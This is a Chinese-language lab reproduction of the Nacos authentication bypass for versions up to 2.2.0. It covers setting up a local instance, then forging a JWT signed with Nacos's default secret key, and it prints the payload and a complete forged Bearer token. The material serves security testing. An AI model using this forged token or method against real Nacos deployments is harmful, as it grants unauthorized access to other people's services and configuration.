Nacos身份认证绕过
参考文章:https://blog.csdn.net/qq_50854662/article/details/129660330
受影响版本:
0.1.0 <= Nacos <= 2.2.0
漏洞的本质是因为使用了默认的key。
漏洞复现:
下载环境:
Release 2.2.0 (Dec 14, 2022) · alibaba/nacos · GitHub
JDK8以上环境运行
startup.cmd -m standalone来启动。
现在安装java环境会自动配置环境变量。但是启动这个nacos需要配置JAVA_HOME
CLASSPATH
.;%Java_Home%\bin;%Java_Home%\lib\dt.jar;%Java_Home%\lib\tools.jar
启动nacos
访问http://192.168.31.127:8848/nacos/#/login
这里用到了,nacos\conf\application.properties 文件中的nacos.core.auth.plugin.nacos.token.secret.key
访问:https://jwt.io/
配置Unix时间戳(秒)我现在是2023-03-22 14:56 伪造时效到2023-03-22 15:30
payload
{
"sub": "nacos",
"time": "1679470200"
}
sub 为要绕过的账户
time 这里指的有效时间
VERIFY SIGNATURE
这里填写nacos\conf\application.properties 文件中的nacos.core.auth.plugin.nacos.token.secret.key
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsInRpbWUiOiIxNjc5NDcwMjAwIn0.W4K-dcIWbdtJ4QFjAalBRw_TvVgoCO9wSwhyt8coklg
返回包,填入刚才获取的token。